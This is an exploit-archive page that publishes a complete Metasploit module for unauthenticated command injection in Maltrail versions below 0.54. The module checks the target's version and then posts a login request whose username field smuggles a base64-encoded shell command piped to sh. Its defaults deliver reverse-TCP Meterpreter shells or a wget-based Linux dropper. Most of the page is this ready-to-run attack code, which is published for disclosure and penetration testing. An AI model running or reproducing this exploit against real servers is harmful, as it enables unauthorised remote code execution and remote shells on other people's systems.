what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Maltrail 0.53 Unauthenticated Command Injection

Maltrail 0.53 Unauthenticated Command Injection
Posted Aug 17, 2023
Authored by Ege Balci, Chris Wild | Site metasploit.com

Maltrail is a malicious traffic detection system, utilizing publicly available blacklists containing malicious and/or generally suspicious trails. Maltrail versions below 0.54 suffer from a command injection vulnerability. The subprocess.check_output function in mailtrail/core/http.py contains a command injection vulnerability in the params.get("username") parameter. An attacker can exploit this vulnerability by injecting arbitrary OS commands into the username parameter. The injected commands will be executed with the privileges of the running process. This vulnerability can be exploited remotely without authentication. Successfully tested against Maltrail versions 0.52 and 0.53.

tags | exploit, web, arbitrary
SHA-256 | f42530359a3ac22211393c29f331afc963e4710bc19c82c302c697b368291bbc

Maltrail 0.53 Unauthenticated Command Injection

Change Mirror Download
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStager
prepend Msf::Exploit::Remote::AutoCheck

def initialize(info = {})
super(
update_info(
info,
'Name' => 'Maltrail Unauthenticated Command Injection',
'Description' => %q{
Maltrail is a malicious traffic detection system, utilizing publicly
available blacklists containing malicious and/or generally suspicious trails.
The Maltrail versions < 0.54 is suffering from a command injection vulnerability.
The `subprocess.check_output` function in `mailtrail/core/http.py` contains
a command injection vulnerability in the `params.get("username")` parameter.
An attacker can exploit this vulnerability by injecting arbitrary OS commands
into the username parameter. The injected commands will be executed with the
privileges of the running process. This vulnerability can be exploited remotely
without authentication.

Successfully tested against Maltrail versions 0.52 and 0.53.
},
'License' => MSF_LICENSE,
'Author' => [
'Ege BALCI <egebalci[at]pm.me>', # msf module
'Chris Wild', # original PoC, analysis
],
'References' => [
['EDB', '51676'],
['URL', 'https://huntr.dev/bounties/be3c5204-fbd9-448d-b97c-96a8d2941e87/'],
['URL', 'https://github.com/stamparm/maltrail/issues/19146']
],
'Platform' => ['unix', 'linux'],
'Privileged' => false,
'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64],
'Targets' => [
[
'Unix Command',
{
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Type' => :unix_cmd,
'DefaultOptions' => {
'PAYLOAD' => 'cmd/unix/python/meterpreter/reverse_tcp'
}
}
],
[
'Linux Dropper',
{
'Platform' => 'linux',
'Arch' => [ARCH_X86, ARCH_X64],
'Type' => :linux_dropper,
'CmdStagerFlavor' => :wget,
'DefaultOptions' => {
'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp'
}
}
]
],
'DisclosureDate' => '2023-07-31',
'DefaultTarget' => 0,
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => []
}
)
)
register_options(
[
Opt::RPORT(8338),
OptString.new('TARGETURI', [ true, 'The URI of the Maltrail server', '/'])
]
)
end

def check
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path),
'method' => 'GET'
)
return CheckCode::Unknown("#{peer} - Could not connect to web service - no response") if res.nil?
return CheckCode::Unknown("#{peer} - Check URI Path, unexpected HTTP response code: #{res.code}") unless res.code == 200

version = Rex::Version.new(Regexp.last_match(1)) if res.body =~ %r{\(v<b>([0-9.]+)</b>\)}

if version < Rex::Version.new('0.54')
return CheckCode::Appears("Version Detected: #{version}")
end

CheckCode::Safe("Version Detected: #{version}")
end

def execute_command(cmd, _opts = {})
send_request_raw( # This needs to be a raw requess cuz we don't wanna URL encode the body
'uri' => normalize_uri(target_uri.path, 'login'),
'method' => 'POST',
'headers' => {
'ctype' => 'application/x-www-form-urlencoded'
},
'data' => "username=;`echo+\"#{Rex::Text.encode_base64(cmd)}\"+|+base64+-d+|+sh;#`" # We also need all the +
)
end

def exploit
case target['Type']
when :unix_cmd
print_status("Executing #{target.name}...")
execute_command(payload.encoded)
when :linux_dropper
print_status("Executing #{target.name}...")
execute_cmdstager
end
end
end
Login or Register to add favorites

File Archive:

November 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Nov 1st
    30 Files
  • 2
    Nov 2nd
    0 Files
  • 3
    Nov 3rd
    0 Files
  • 4
    Nov 4th
    12 Files
  • 5
    Nov 5th
    44 Files
  • 6
    Nov 6th
    18 Files
  • 7
    Nov 7th
    9 Files
  • 8
    Nov 8th
    8 Files
  • 9
    Nov 9th
    3 Files
  • 10
    Nov 10th
    0 Files
  • 11
    Nov 11th
    14 Files
  • 12
    Nov 12th
    20 Files
  • 13
    Nov 13th
    63 Files
  • 14
    Nov 14th
    18 Files
  • 15
    Nov 15th
    8 Files
  • 16
    Nov 16th
    0 Files
  • 17
    Nov 17th
    0 Files
  • 18
    Nov 18th
    18 Files
  • 19
    Nov 19th
    7 Files
  • 20
    Nov 20th
    13 Files
  • 21
    Nov 21st
    6 Files
  • 22
    Nov 22nd
    48 Files
  • 23
    Nov 23rd
    0 Files
  • 24
    Nov 24th
    0 Files
  • 25
    Nov 25th
    60 Files
  • 26
    Nov 26th
    0 Files
  • 27
    Nov 27th
    44 Files
  • 28
    Nov 28th
    0 Files
  • 29
    Nov 29th
    0 Files
  • 30
    Nov 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close